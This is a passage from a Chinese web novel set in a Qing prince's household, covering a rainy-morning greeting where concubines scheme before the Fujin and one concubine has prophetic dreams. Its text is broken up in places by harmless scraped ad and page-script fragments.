这只步摇簪体是银的,看着不甚显眼,但银簪下方却坠着三串珍珠流苏,而簪子和珠串的衔接处以及流苏末尾均镶嵌着一颗小小的红宝石,通体看下来虽说不算富贵,但胜在精巧。 之后,白薇选了几朵用纱堆成的绒花簪入宋时繁的发髻中,这些绒花虽不值什么,但却是进贡到宫里头的新鲜样式,是之前德妃娘娘赏赐下来的,今日戴这个也不算错了规矩,白薇又将几颗大小不一的米珠零星装饰在绒花的周围,最后给宋时繁戴上一对珍珠耳珰,看着既简单又不失温婉。 索性今日宋时繁起得早,也架得住这一番折腾,等她全都收拾妥当以后,时间才刚过卯时,离请安的时辰还有一会功夫。 宋时繁瞧了瞧外头的雨仍旧在下,似乎没有要停止的意思,思索片刻后她道:“咱们先往正院里去吧,今个儿下着雨,路怕是不好走呢。” “那也是,格格路上小心。”白薇将伞递到竹苓手里,又叮嘱了一句,便目送着宋时繁和竹苓二人踏出了院门。 许是因着下雨的缘故,走在路上竟觉得有些冷,是那种湿冷的感觉,宋时繁伸手把竹苓往自己身旁拉了拉:“离我近点儿,别淋到雨了,这天气若是冻着了,保不齐就要感染一场风寒。” 虽说雨不算大,可淋湿了总归不好受,更何况竹苓还得一直跟着她,直到请安结束才能回去呢,若是一直穿着湿衣服,身上定然会不舒服,而且以她如今格格的身份,正院里的人肯定不会管竹苓的死活。 可惜白薇和竹苓都不允许她自己个儿打伞,好说歹说二人就是不同意,只要一提此事,她们就有一大筐不合规矩的道理等着来劝她,直把她说得脑仁子都疼了,不然这种天气,她跟竹苓一人一把伞,保管儿谁也冻不着。 如今,她只得将竹苓紧紧抓着,让她跟自己离得近一点儿,这样也能少叫竹苓淋点雨。 好容易到了正院,福晋还没起呢,可外头下着雨,正院里的奴才们也不敢就这么让宋时繁在外头淋着,福晋身边的陪嫁丫鬟之一荷香,忙将宋时繁迎了进去。 “给宋格格请安,奴才先带您去偏室里头避避雨吧,可不敢叫宋格格在雨里站着,福晋知道要怪罪奴才的。”荷香上前给宋时繁请了个安,然后便引着宋时繁往偏室走。

(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 荷香长得不似芸香那样端庄,但天生有一双笑眼,让人一见她就心生欢喜,此时她笑吟吟地看着宋时繁,宋时繁便也回了个笑,不卑不亢道:“那就劳烦荷香姑娘了。” 到了偏室里,荷香招呼宋时繁先坐,自己又去张罗着给宋时繁上茶,而屋里,汪姑娘和常姑娘已经等在里头了。 毕竟眼下这二人就住在正院,算是福晋的眼皮子底下,离得这样近,若是请安再不早早地来,怕是要被人说成是对福晋不敬了,她们没那个胆子。 二人见宋时繁进来,忙上前给宋时繁行礼,宋时繁冲二人点了点头,便自顾坐下喝茶,不肯开口了,倒不是瞧不上她们不稀得说话,只是宋时繁与她们到底不熟,就算想说也说不出个所以然来,还是老老实实装哑巴算了。 兴许大家都想着雨天要早点儿出门,没多会儿武格格和郭格格也被带了进来,然后就有人来请说是福晋起来了。 福晋是和四爷一起出来的,这倒是不稀奇,毕竟最近几日四爷都宿在福晋这里,格格们也一早就知道会在正院见到四爷,但四爷却是没想到会在这里看见他的小妾们。 四爷抬眼瞧了瞧外头的天气,又看了看格格们身上的衣裳角儿大都湿了,尤其是宋时繁。 因为来的路上,宋时繁怕竹苓光顾着给她打伞不管自个儿,就一直把人往怀里带,两个人打一把伞,肯定要狼狈些,她又想着走快点便能少淋些雨,可谓是顾头不顾尾,所以衣裳下摆湿了一大片,又是在冬日里,衣服厚实,这会子看着,那一大片水渍格外明显。 武格格和郭格格的衣裳倒是还好,但人看着也有些蔫儿巴,特别是郭格格,还有身孕呢,这会子又受了冻,脸都有些白了。 四爷越看心气儿就越不顺,想当然便觉得是福晋不慈,心眼小容不下人,这才可着劲儿地摆弄他的小妾,否则虽说妾室伺候正室是天经地义的,但好歹下着雨呢,何苦折腾人跑一趟,免了一天也不算什么大事。 思及此,四爷便偏头瞧了一眼福晋,那眼神,着实有些冰冷。 福晋被四爷看得一惊,其实她心里也有些冤枉,昨日还晴空万里的,她哪里晓得今天便这样了,未能及早免了请安难不成还是她的错了? 有了这层心思,福晋心里的委屈也涌了上来,硬梗着脖子不肯服软,四爷瞧见,愈发觉得福晋上不得高台盘,尽是些小夹子做派。 其实,这次确实不能算福晋找事,她这几日夜里日日陪伴着四爷,心下熨帖,自然睡得沉,怎么能料到窗子外头的事? 而正院里的奴才见自家主子和主子爷好不容易和好,主子爷又是一连几日的留宿,如今正院的奴才们出门都恨不得把腰杆子挺得直直地,怎么可能会提醒福晋这种事,怕是巴不得福晋好好替他们在府里众人面前耀武扬威一番呢。 几番原因下来,终是造成了今日四爷的误会,而四爷的情绪,在看到李格格也来了之后更是达到了顶峰。 69. 明着上眼药 李格格如今已有五个月左右的身孕了,请安的时候甚至要扶着肚子才行,再加上她从怀孕至今反应一直很大,虽说这段时间都有在卧床休养,可李格格的脸颊仍是消瘦了不少。 只见李格格穿着一件深蓝色的旗装,上身搭配石青色绣海棠花的坎肩,发髻上几乎没有几样首饰,只插了几根素银钗。 宋时繁有些诧异,毕竟她倒是显少见到李格格有穿得这样素净的时候。 该说不说,这身衣裳的颜色却是衬得李格格整个人格外苍白,又兼之那起伏的孕肚,更显憔悴,完全不像李格格从前的明艳风格,难不成她改走柔弱美人这一挂了? 事出反常必有妖,宋时繁打眼一瞧就觉得李格格今个儿来者不善,怕是来找事的,约莫一会儿就要粉墨登场了。 思及此,宋时繁又状似不经意地朝上首看了看,果然就发现福晋的眉心狠狠跳了跳,四爷的脸色也愈发难看起来。 宋时繁不由在心底哂笑,这李格格还真会挑时候呢,得,演员已经就位,显然好戏要开场了。 李格格也不负众望,先是对着福晋和四爷盈盈下拜。 “奴才给主子爷,给福晋请安,主子爷和福晋吉祥。”起身的时候甚至轻喘了两下,仿佛羸弱不堪。 等她缓了一口气后又继续道:“请主子爷和福晋赎罪,奴才请安来迟了,皆因早起出门的时候外头一直下雨,奴才身子重,又怕赶不上请安的时辰,一路上胆战心惊,这才耽误了功夫,没承想还是迟了...若知道会下雨,奴才应该早点出门,都是奴才的错。” 这话无疑是再一次提醒了四爷福晋让格格们冒雨请安的事,果不其然,四爷的脸色又黑了一个度。 李格格这人还真是,见缝插针地就要在四爷面前上眼药呢,宋时繁不由在心底摇了摇头。 另一边,福晋光是瞧着李格格惺惺作态的样子,嘴角就抽了抽,她按了按额角,到底没忍住开口道:“李氏,你不好好在自己院子里安胎怎么过来了?”语气十分不客气,可以想见她现下心中的烦躁。 李格格闻言先是瑟缩了一下,又怯生生地看了一眼福晋,直作出一副惧怕不已的模样。 然后才听她期期艾艾解释地道:“回福晋的话,奴才前些日子因为身体有恙,一直耽误了给福晋请安,每每思及此事,奴才都寝食难安,所以奴才一感觉能下床了便急急过来给福晋请罪,还请福晋千万不要跟奴才计较,就饶恕奴才吧!” 这些可不像是会从李格格嘴里冒出来的话,她一向骄傲得跟个孔雀似的,哪里有这种卑微乞怜的时候,十有八九是在做戏,至于给谁看,四爷不是明晃晃杵在这儿吗?众人也都不是瞎子,自然明白李格格的心思。 福晋显然也想到了这一层,更加深恨李格格的装腔作势,她再也耐不住性子,厉声斥责道:“李氏你这话是何意?难不成我平日虐待你了不成?又什么时候要你服侍我了?你既身体不好还不老老实实地在屋子里养着?出来招摇做甚?” 李格格被福晋责骂后当即便屈膝跪了下去,两行泪水倏然从眼眶中落下,口中还哀哀道:“福晋,奴才经过先前那遭事儿,自知愚笨,护不住腹中孩儿,这才心下难安,奴才不求别的,只求福晋能垂怜一二,饶了奴才和腹中的孩子吧...”李格格自顾自说完后就冲着福晋一个劲儿地磕头。 李格格这话里的意思实在是太直白了,就差直接告诉众人,先前就是福晋害了她,她是被吓破了胆子,这才慌忙跟福晋认错,想找条生路。 宋时繁被李格格“砰砰砰”地磕头声吓了一跳,想不到李格格居然还挺实在,说磕头就磕头,但宋时繁的眉心却不自觉地皱了起来。 她可没忽略李格格低下头时眼神里飞快闪过的一抹恨意,显然,李格格还在记恨福晋先前险些害了她的事,否则也没必要精心选了这么个机会跑到众人面前这样。 不过,这也是人之常情,宋时繁自问,若是有人害了她的大格格,她也必是要跟别人拼命的,但事情都过去这么久了,四爷也已将此事盖棺定论,李格格现在才发作出来是不是太晚了点? 难不成是因为君子报仇十年不晚?可李格格报仇的方式莫非太简单了些? 宋时繁不明白李格格闹这一出究竟目的何在,总不可能就为了在四爷面前给福晋上上眼药吧?她可没觉得李格格就蠢到这种地步了,毕竟这样虽然确实会让四爷对福晋不喜,可李格格也不一定就能讨到好了... 况且,李格格私底下跟四爷说这些话效果岂不是更好? 思来想去,宋时繁都琢磨不透。 莫不是李格格看到四爷最近常常留宿在正院,所以在争风吃醋? 宋时繁倒是听曹三宝说过,李格格最近有几次借着身体不舒坦的理由将四爷从正院请走了,但就为了争宠闹这一出,应该也不至于吧... 就在宋时繁思索的片刻功夫,福晋却被李格格的一番话气得连表情都快维持不住了,一只手紧紧握成拳,盯着李格格的目光也愈发不善。 不想,四爷这时却发话了:“苏培盛,去把李氏扶起来,还怀着身子呢,就算不顾自己,也别拿爷的子嗣开玩笑。”语气颇有一些冷淡。 李格格原本磕头磕得正起劲,忽然听见四爷的话,她面颊僵了僵,这会也不敢再有动作了,所以苏培盛一伸手,她便借力站了起来。 四爷这一打岔,福晋也清醒了几分,偏头瞪了一眼身边侍立着的芸香,芸香忙不迭地走上前,对李格格道:“李格格,您眼下这样在主子们面前也不好回话,要不奴才先伺候您去旁边的屋子梳洗一番吧。” 李格格心下有点犹豫,她一开始就打定主意要闹这么一场,若是这会子退了岂不是白折腾了,可瞥见四爷面无表情的脸旁时,她身子又颤了颤,终是点头跟着芸香 () { $(''.inform'').remove(); $(''#content'').append('' 去梳洗了。 待李格格走后,屋子里只剩下一片寂静。 “也不知李氏一大清早是要干什么,像是特意为着闹一场似的,都有身子马上要当额娘的人了,还这样不知所谓...”福晋若有若无地道,旨在提醒四爷,李氏别有所图。 四爷当然知道李氏心怀不轨,但福晋也不是省油的灯,当下便开口道:“那自然是福晋治家有方的缘故。”说罢端起一旁的茶盏喝了一口茶,连个眼风都不肯分给福晋。 福晋被这话一噎,自觉在妾室们面前丢了面子,但知道四爷此时心情不好也有些忌惮,抿了抿唇到底没再说什么了,只等着一会儿发落李氏。 上首两位主子都不开口,宋时繁等人自然也不会大喇喇地张嘴去自讨没趣,所以均是眼观鼻鼻观心,装作不知道刚刚发生了什么。 又过了一会儿,李格格才被芸香带回来,甚至还重新上了妆,总算不是一副随时都要撅过去的样子了。 “请主子爷和福晋赎罪,奴才方才一时情急失礼了,也是奴才孕中多思的缘故...” 李格格进门先请了罪,福晋一口气憋在胸口吞进去也不是,吐出来也不是,好悬没晕过去,忍了又忍才憋出来几个字:“无妨,赐座。” 福晋算是给了李格格一个台阶,可显然,李格格不打算下。 就见李格格叹了口气继续道:“唉...奴才是个没什么福气的,孩子跟了我只有受罪的时候,也是我没本事,叫孩子在我腹中便受了这许多的苦。” 福晋只当李格格还要继续纠缠先前的事,便道:“李氏,你确实多思,若你少琢磨点这些有的没的,孩子也不会怀得这样艰难,我看,你这个当额娘的,委实不太称职。” 李格格却像是受了什么打击一样,再次挤出泪水来:“福晋明鉴,是奴才福薄命贱,不配当孩子的额娘。” 这话一出,倒叫在场众人都惊了惊。 宋时繁也忍不住频频侧目,李格格到底想干嘛? 忽然,一个大胆的想法从宋时繁的心底涌现了出来,莫非李氏不满足庶长子,而是打起让腹中孩子做嫡长子的想法来了? 想到这里,宋时繁觉得更奇怪了,李格格怎么就笃定自己生得一定是儿子? 历史上,李格格是先生下一个格格,再有的儿子,那时候福晋已经有了嫡长子,根本不可能去抱养别人的儿子... 等等,在原来的历史轨迹上,四爷的大格格应该是李氏的女儿,宋氏生下来的孩子无一例外都夭折了,如果大格格能平安活到今天,那李氏现下腹中这一胎到底是男是女谁又能说得清呢? 可这种事情,宋时繁这个从未来穿越来的人都不敢轻易断定,李氏又是怎么知道的? 突然,一个念头在宋时繁的脑海里转瞬即逝,可想法转得太快了,宋时繁没有抓住,只隐隐约约觉得事情好像有点儿不对头。 70. 她很招摇嘛? 就在众人都闹不清李格格意图,一头雾水的时候,宋时繁忽然听见一声轻笑。 她循声望去,声音竟是从坐在她身旁的武格格那边儿传来的。 只见武格格微微颔首,白皙的手背正抵着唇畔,纤纤素手也挡不住她唇边漾出来的笑意。 武格格这一笑,倒是打破了屋内原本有些僵持的气氛。 看到是武格格,福晋面上的神色也缓和了些,只是嘴角依旧绷得笔直,宋时繁瞧见她用丝绸帕子按了按唇瓣,然后才冲着武格格开口道:“武氏,你这是在笑什么呢?” 武格格闻言先规规矩矩地站起来对上首的福晋和四爷二人福了福身,这才娇笑着回答道:“回福晋的话,奴才从前听家里的额娘闲话时说过什么‘怀孕傻三年’,奴才那时原不知道是什么意思,今儿瞧了李姐姐才算是为奴才解了惑呢。” 众人犹自不解,不明白武格格怎么在这个档口突然又提起自己在闺阁中的事了。 武格格见众人不明白也不恼,弯了弯唇继续道:“你们看李姐姐可不是傻了吗,方才说出来的话真真儿是要笑坏个人了,虽说小格格、小阿哥现在在李姐姐的肚子里,可真要说到额娘,那自然只有咱们福晋才是他们嫡嫡亲的额娘呢,李姐姐却当着咱们的面儿说那样的话,还说她不是傻了?” 武格格不愧是个八面玲珑的,竟是几句话便把眼下的局面给搅和了,反倒让众人看向李格格的眼神都奇怪了些,可不是吗,一个格格,在主子面前,说什么额娘不额娘的?不就是在平白惹人笑话吗?府里的孩子哪一个不是主子爷和福晋的孩子?真个儿是轮不上一个格格讲这样的话。 随着武格格的这番话一出,李格格的脸色当即就变化起来,青青白白的,仿佛连眼角都跟着抽了抽,整张面皮几乎是僵在了她的脸上,先前预备好的话此时也说不出口了。 四爷原本被福晋和李格格吵得头疼,这会子却不由暗暗点了点头,心说武氏确实是个聪慧顾大局的,可见家里把她教得好,反倒是福晋,随便被激将两句就说不出话来,心眼子太小,也是个不中用的。 想到这里,四爷便朝着武格格投去了一抹赞许的目光。 武格格自然感受到四爷朝她这边看过来了,她按耐住心底的喜悦,只略略低了低头,把眼睛里的得意之色尽数掩藏了起来,面上仍旧是一派活泼娇俏的样子,仿佛刚刚都是小女孩的无心之言,模样十分惹人喜爱。 福晋听了武格格的话眉眼也跟着舒展开来,恢复了往日里嫡福晋的规矩和体统,只见她斜睨了李格格一眼,又微微撇了撇嘴,这才顺着武格格的话开了口:“你呀,都服侍主子爷这样久了,还这么口无遮拦的。” 虽然是指责的话,可说出来却让人觉得轻飘飘的,反正宋时繁从中听不出半点儿指责的意味。 而一旁的李格格也终是在福晋和武格格的你一言我一语中被彻底晾在了一旁,一次次想张开嘴巴,却半句也插不进去,眼见着自己先前预备好的戏是唱不下去了,只得抿了抿唇角,终是冷着一张脸不开口了。 宋时繁见状出于好奇没忍住多看了李格格好几眼,生怕她把自己憋坏了,又想探究李格格到底想干嘛,反倒被李格格察觉,还以为宋时繁在笑话她,引得李格格狠狠瞪了宋时繁一眼。 宋时繁有些尴尬,不自觉摸了摸鼻子,眼神也不敢乱飘了,心道她这是好心被当成驴肝肺了呀,算了,她还是自己琢磨琢磨吧。 另一边,武格格则极有眼色,顺势就和福晋撒了个娇,将小女儿家姿态作得足足的,全当她方才就是无心开了个玩笑:“全赖主子爷和福晋疼奴才,奴才才敢这样言行无状呢。” “嗯,你都说我疼你了,我若是不赏却也说不过去,芸香,去内室的妆台上,将我近日新得的那几枚戒指取来。” 不多会儿,芸香便捧着一个小托盘回来了。 福晋指着芸香手里的托盘笑道:“这些是我前个儿命人去外头打的,我瞧着很不错,你们就自个儿挑了喜欢的吧。”福晋对宋时繁等人挥了挥手,示意她们自己挑选。 芸香得了福晋的吩咐,略一思索便先将托盘捧到宋时繁面前。 “宋格格请挑。” 宋时繁知道芸香必然是要第一个让她选的,既然是福晋的赏赐,当下也不推辞,抬起眼帘朝着托盘上的几枚戒指看了看。 福晋这会子倒是挺大手笔的,托盘上搁着的四枚均是金累丝镶嵌宝石的戒指,样式倒都差不多,只不过上头嵌着的宝石颜色不尽相同罢了。 除此之外,余下还有两枚嵌珍珠的银戒子,一看便是给两位侍妾预备的,否则大家都得了赏,侍妾们却没有,大面上也不好看,福晋不至于连这点子表面功夫都舍不得做。 宋时繁只大略扫了几眼,便伸手拿了离她最近的一枚嵌红宝石的戒指,然后趁势将中指套了进去,大小还算合适。 “到底是福晋的眼光好,奴才瞧这戒指真是好看极了呢。”得了人家的东西,宋时繁还是不会吝啬几句恭维话的,于是利落地起身跟福晋谢恩。 福晋闻言笑了笑,“喜欢就好。” 殊不知宋时繁这边正在跟福晋客气呢,四爷那头却当了真。 想来也是,一个小格格穷得要死能有什么好首饰?怕是金的都少见,瞧那一脑袋的素银簪子,现下得了新首饰可不是要欢喜?还真是个没见识的,尽会给爷丢脸,四爷如是想道。 但四爷却在心里打定主意回头要找个机会赏赐宋时繁些贵重首饰,也好让她开开眼界,以后可别再随便看见个什么就笑得这样殷勤,牙花子都快露出来了。 思及此,四爷隐晦地瞪了宋时繁一眼,想叫她收起那副不值钱的样子。 而宋时繁本就在同福晋说话,脸恰好朝着四爷的方向,当即就将四爷这一眼看了个正着,心下便有些莫名其妙。 今日怎么一个两个的都要拿眼珠子瞪她?莫不是她脸上写了“招摇”两个大字? 况且,李格格瞪她还情有可原,四爷这又是抽得哪门子风?哼!真是不知所谓。 宋时繁耸了耸鼻子,装作没看见四爷递过来的眼色,把小脑袋一撇,便稳稳当当坐了回去。 所幸,宋时繁和四爷的这一场眉眼官司众人都没注意到,因为芸香又捧着托盘朝下一个人走去了。 按理来说,宋时繁后面,怎么着也该是李格格,可不知芸香是故意还是怎么的,竟然一扭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身将托盘举到了武格格的面前。 其实大家都是格格,身份上没差,谁先谁后还真无所谓,当然,宋时繁是这么想的,至于旁人嘛,在这府上,就算都是侍妾通房,也要争个高低先后出来,宋时繁对此已经有些习惯了。 果不其然,李格格见第二个挑选的人不是她,脸色愈发阴沉,肉眼可见地不高兴了。 但她也不能因为这个发作,谁让武格格正好坐在宋时繁下首,可不就顺便轮到她先了,想到这里,李格格轻哼了一声,动静不算大,但坐在李格格正对面的宋时繁却听见了,想必跟宋时繁位置差不多的武格格也能听清楚,毕竟屋子就这么大。 不过,武格格倒十分稳得住,甚至还笑了笑,又伸着头仔细选了一会儿。 “奴才瞧着各个都好看,竟有些挑花眼了。”水汪汪的眸子忽闪忽闪的,一下看看这个,一下又瞧瞧那个,动作间灵动极了,似乎全心全意在思索哪个好,根本没听见旁人的话。 最后武格格挑了一枚嵌蓝宝石的,欢欢喜喜地跟福晋谢恩。 “又是什么好东西值当谢来谢去的?”福晋抿唇笑了笑,摆足了大度施恩的正房架子,自觉找回先前在李氏面前丢的面子了,胸中郁气都散了不少。 不想,等芸香将托盘端到李格格面前的时候,李氏状似玩笑道:“福晋既这么说,想是还有好的舍不得给咱们呢。”说罢,随手捡了一枚戒指出来,又轻飘飘地将其搁到了手边的小几上。 宋时繁默了默,嗯...好像还是从前那个李怼怼,许久没见李格格这样,倒真有些怀念,方才李格格唱念做打样样俱全的样子才真是吓到宋时繁了,她还是比较习惯说话带刺的李格格,看来可以排除李格格跟她一样换了芯子的情况了。 福晋的心气儿又不顺了,好悬没当场叫人把李氏拿下,到底顾及着她的肚子,也是不想再跟李氏闹了,毕竟主子爷还在呢,她不愿让主子爷觉得她不贤惠,终是把这口气咽了下去。 好在,剩下的几人都不敢生事,规规矩矩领了赏,再没生出事端。 至此,四爷发话了。 “好了,时辰也不早了,就都散了吧,”说到这里,他又看了一眼李氏,语气暗含警告:“爷瞧着你脸色苍白得很,身子想是还没恢复好,到生产前先不要来正院请安了...” 李格格闻言脸上先是一喜,还只当四爷是关心她呢,没承想四爷的话却是没说完。 “身子不好就继续在屋子里静养着吧,没事儿就不要出来了,既知自己这个额娘做得不够好,安安生生把孩子平安生下来也算你为他积德了。”竟是又把先前的事儿提了起来,几乎算是直接将李格格禁足了。 四爷的想法很简单,他虽然也气恼福晋管不好后宅,见天给他找事,可却也容不得李氏接二连三地挑衅福晋的权威,干脆把人关起来,老老实实先把孩子生下来才是最重要的,其余的便往后放放吧,折腾了一早上,他早就烦了。 而李格格没想到闹了一场她反倒半点儿没捞着好,不由恨恨看了武格格一眼,目光中还隐隐带着两分审视,心道这武格格必然是暗地里投靠福晋了,否则今日好端端的,做什么偏要搅她的局?呸,真是个狗腿子。 71. 梦境?现实?(加更) 要不是武格格突然帮着福晋说话,她今日兴许就能让主子爷心软,她筹谋的那事儿说不定就会成了... 没错,李格格一开始打的主意可不仅仅是给福晋添点儿堵,而是她真地想将肚子里的孩子记到福晋名下。 反正福晋如今正急吼吼地想从两个侍妾那里抱养一个孩子到正院,可侍妾们能不能怀上都是没影的事呢,倒不如直接抱走她的便宜。 当然,这些话她自是不能直接对福晋说的,否则就凭着福晋那小心眼儿的劲儿,保不齐要觉得她居心不良,不肯养她的孩子,那她的算盘岂不是要落空了? 至于李格格为什么舍得自己的孩子?那就要从前段时间她断断续续开始做的梦说起了。 自从上次,李格格无意间惊动了胎气后,虽然太医都说她没事,只需要卧床静养一段时日便可大安,但是,从那之后,李格格却夜夜不能安寝,几乎一闭上眼睛,就会做一些光怪陆离的梦。 刚开始,李格格以为自己只是因为孕中多思,这才有了那些奇奇怪怪的梦境,她之前也常听老人家们说怀孕后容易做胎梦,想着许是她的孩子急着想见她也说不定,为此,她还兀自高兴了一番,觉得腹中的孩儿当真聪慧。 可随着时间的推移,越到后面,她的梦境也一天比一天真实。 那些在梦中呈现出来的情景,仿佛在上辈子就已经真实发生过一遍似的,几乎让她不敢相信,却又不得不相信。 梦里,她这一胎生下了一个女儿,说实话,她其实挺失望的,毕竟她心心念念就是想赶在福晋前头生下长子,可终究也没能如她所愿。 后来福晋很快有了身孕,更是一举得男,为四爷生下了嫡长子,好生得意了一段时日。 虽然她在福晋怀孕后没多久也查出有了身孕,甚至还跟福晋前后脚都生下一个小阿哥,但庶子终究比不上嫡子,更何况大阿哥还是嫡长子。 所以,在之后很长的时间里,福晋几乎将她压制地喘不过来气来。 幸好,梦中的四爷一直十分宠爱她,在府里大半的时光都会宿在她的院中,连带着也格外喜欢她生下的大格格。 对,她生下的是大格格。 彼时,在她的梦里,李格格瞧见宋氏生下的那个女儿早就死了,连一个月都没撑过去,跟宋氏前头生的那个孩子一模一样。 紧跟着,宋氏的身子也坏了,三五日便要病一遭,屋子里见天地飘荡着苦药汁子味儿,主子爷一开始还会时不时地去探望宋氏,可两人对坐着,总能想起接连夭折了的孩儿们,勾起伤心往事。 渐渐地,四爷觉得心里难受煎熬,便不忍再见宋氏,直到最后,连宋氏的屋子都不肯再踏足了,只吩咐下去好生供养着宋氏也就罢了。 宋氏自知得宠无望,就整日将自己关在房中吃斋念佛,不问世事。 她还信了府里众人的话,觉得是因为她自身造孽太多,这才导致生下来的孩子一个接着一个都离她而去,没一个能活下来的,所以,宋氏坚信,只要她把自己的罪孽全都赎清,那两个夭折的孩子便能早登极乐,不再来凡间受轮回之苦。 而李格格自己,继大格格和二阿哥之后,又连着给四爷生了两个小阿哥,由于肚子太过争气,府上众位格格和侍妾,几乎没人敢与她争锋,一时间,就连福晋都只能避着她的锋芒。 再加上四爷对李格格宠爱有加,她日子过得真叫一个舒心,哪怕是在梦里,李格格都能感觉到自己的畅快。 可惜好景不长,她的二阿哥只长到两岁就没了,连序齿都不能够,后来,她第二个孩子长到十岁的时候也没能留住,只剩下小儿子和大女儿还活着。 李格格光是看着梦中,自己趴伏在儿子病床前的模样,她的心都要碎了,李格格终于明白当初的宋氏是何等的心伤,用“肝肠寸断”四个字都不足以形容她的心情。 与此同时,福晋的大阿哥也没能活下来,在经历了丧子之痛后,福晋的脊梁几乎直不起来了,也跟着大病了一场,人差点瘦脱相。 当然,李格格自己也几乎在一夕之间老了十岁,早起捧着镜子的时候发现,她的鬓边都生出了白发,眼角也添了几道纹路。 梦里一时间安静得不得了。 时间过了好几年,李格格又在梦中看见四爷被康熙爷封了亲王的爵位。 许是为了安抚她,亦或是为了嘉奖她,在四爷成为亲王后,第一时间便将她请封为府上的亲王侧福晋,虽然她年华老去,到底四爷念旧,给了她地位,不叫她往后被人欺凌。 而这时的府里又来了新人 () { $(''.inform'').remove(); $(''#content'').append('' ,新人们也相继有了身孕,四爷又有了新的孩子,李格格看着梦里的场景,一时有些灰心。 福晋不知是不是受了这些接二连三的打击后,整个人反倒振作起来了。 可福晋振作起来的第一件事,便是要同李格格争孩子,想将李格格膝下的三阿哥抱去身边抚养。 福晋早年生大阿哥的时候伤了身子,深知自己已经不能生育了,可膝下无子,她这个嫡福晋的位子便坐得不安稳,于是,寻摸来寻摸去,福晋便看中了李氏的三阿哥,毕竟,侧福晋有宠有子,对她的威胁还是非常大的。 李格格不敢坐以待毙,连忙打起精神跟福晋斗了起来。 斗着斗着,李格格发现,四爷居然在她的梦里当了皇帝,把她好生吓了一跳,但她相应地也成了妃子,她的儿子更是成为了皇子... 可惜,三阿哥被旁人教坏了,一时不察犯下大错,彼时她的大女儿早在几年前就因为难产过世了,如今儿子又叫贬为庶人,李格格自知此生无望,她也烈性,直接自戕了。 再醒来的时候,李格格吓出了一身的冷汗,肚子也一抽一抽地疼,连声唤随喜将安胎药端过来,她一口气儿饮了下去,这才感觉身上好些了。 打发走丫鬟后,李格格又躺回床榻,闭着眼睛思索连日来梦中的种种,终于,她觉得应该要做点什么才行。 首先便是要将肚子里的女儿记到福晋名下,且要趁着还没生出来,众人都不知男女的时候,才好行事。 她也不是不疼女儿,但若是先将一个孩子给了福晋,便如效仿当年四爷的生母德妃娘娘一样,将头一个孩子交给佟佳贵妃抚养,之后的孩子便谁也抢不走了,好歹算是暂时解决了一个隐患。 其次便是要尽力保住她的孩儿们,丧子之痛她不想再经历第二遍了,哪怕第一次是做梦也不行。 可唯一让李格格有些迟疑的就是宋时繁了。 毕竟若要说与梦中出入最大的地方,那肯定是宋时繁。 如今,宋时繁的孩子不仅活得好好的,她本人也比梦里那个只知道念经吃斋的宋氏鲜活了一百倍。 李格格闭着眼睛苦思冥想,都想不出一个确切答案来。 宋时繁如今就像是一个未知的变数,深深地扎在了李格格的心里。 72. 受寒 而正被李格格惦记着的宋时繁,在跟众人散了以后就带着竹苓深一脚浅一脚地往自己的小院儿里回。 白薇耐不住性子,眼见着雨越下越大,宋时繁却还没回来,一早便打着把伞立在院门口处等待。 这会子见了宋时繁和竹苓二人忙不跌地上前去迎。 “格格您当心着脚下。”三人均是踩了一脚的泥泞,可算是进了门。 一入内室,白薇就先打发竹苓下去换衣裳,竹苓路上一直护着宋时繁,这会子已然全身都湿透了,宋时繁也连声催促她快下去,别冻着了。 然后,白薇便赶紧张罗着让石桥他们几个给宋时繁预备洗澡水,淋了雨应该尽快洗个热水澡,否则万一伤风了,那可不是开玩笑的。 白薇把一切都安排妥当后,她自己则快步上前帮宋时繁拆发髻,“格格您头发都湿了,奴才用帕子给您擦一擦吧。”白薇用干净手帕将宋时繁打散了的头发细细包裹着。 “不是要洗澡?等会儿一齐洗洗也就是了。”宋时繁拍了拍白薇的手示意她不用这么麻烦了,反正都湿了,一块洗了算完。 白薇却有些担心:“头发洗了不好干呢,到时万一再冻着格格可怎么好?” 这却是宋时繁疏忽了,忘记古人头发长清洗一次不易,一般都是选了晴好的天气,趁着暖和才会洗一洗头发,这样容易干也不会受冻,若是碰上阴雨天,一连好几月都不洗一次头也是有的。 “反正头发已经湿了,也不差这点了,不然就这么搁着我也难受。”宋时繁摸了摸半湿的发梢,想了想还是决定洗一下好了。 说话间,石桥已经带人将浴桶里都灌满了热水,还用屏风隔绝了视线。 白薇往洗澡水里倒了些花露,又将宋时繁等会要用到的东西全都放在浴桶旁边,宋时繁一伸手就能够到的地方,便带着众人退下去了。 这也是宋时繁吩咐下来的,她不习惯洗澡的时候有这么多人围着她伺候。 将贴身衣物脱下来的时候,裸露在外的肌肤瞬间就被寒气所侵袭,宋时繁不由打了个寒颤,胳膊上甚至起了一层鸡皮疙瘩。 她不敢继续久站,扶着浴桶壁,慢慢抬脚踏进了热水里,霎时间,热气就将宋时繁整个包裹住了,她不由从心底里发出一声轻轻地喟叹。 身体暖和起来了,脑袋便开始思考。 宋时繁又想起了今晨在福晋那里的时候,李格格的种种异样。 若宋时繁没有猜错的话,李格格约莫是得了什么机缘。 可宋时繁观李格格的言行举止,似乎又还是从前那个存不住事儿又喜欢怼人的李格格,到底是哪里不对劲呢? 宋时繁思来想去,觉得李格格的态度好像有些奇怪,冥冥中似乎总带着些许笃定,尤其是对腹中孩儿的笃定,像是料准了肚子里的一定是个男孩一样... 虽说宋时繁一早便知道李格格想赶在福晋前头生个长子出来,但之前也只是李格格自己的期望罢了,并没有如今表现出来的这样明显。 更何况,宋时繁心里清楚,李格格这一胎约莫是个女儿。 毕竟在原先的历史轨迹上,李格格就是先生下了一个格格,虽说她的到来确实煽动了小小的蝴蝶翅膀,可李格格与她关系并不密切,按理来讲应该不会有太大的改变才是呀。 那李格格到底缘何觉得... 等等!要是李格格也知道自己生出来的肯定是格格呢? 所以李格格的表现才会那样奇怪,甚至透出想要福晋将孩子抱走的想法,若她知道自己第一胎必是女儿,甚至想得更深远一点,她还知道自己在这一胎之后会生下三个儿子,那一切倒是可以解释得通了... 原来如此,想必李格格不知怎的居然预见了未来之事,这才有了今日的奇怪之举。 思及此,宋时繁忽然从背后感受到了一阵寒意,若李格格真地通晓来事,那她这缕异世之魂跟原主有那么多的不同,会不会被李格格发现端倪呢? 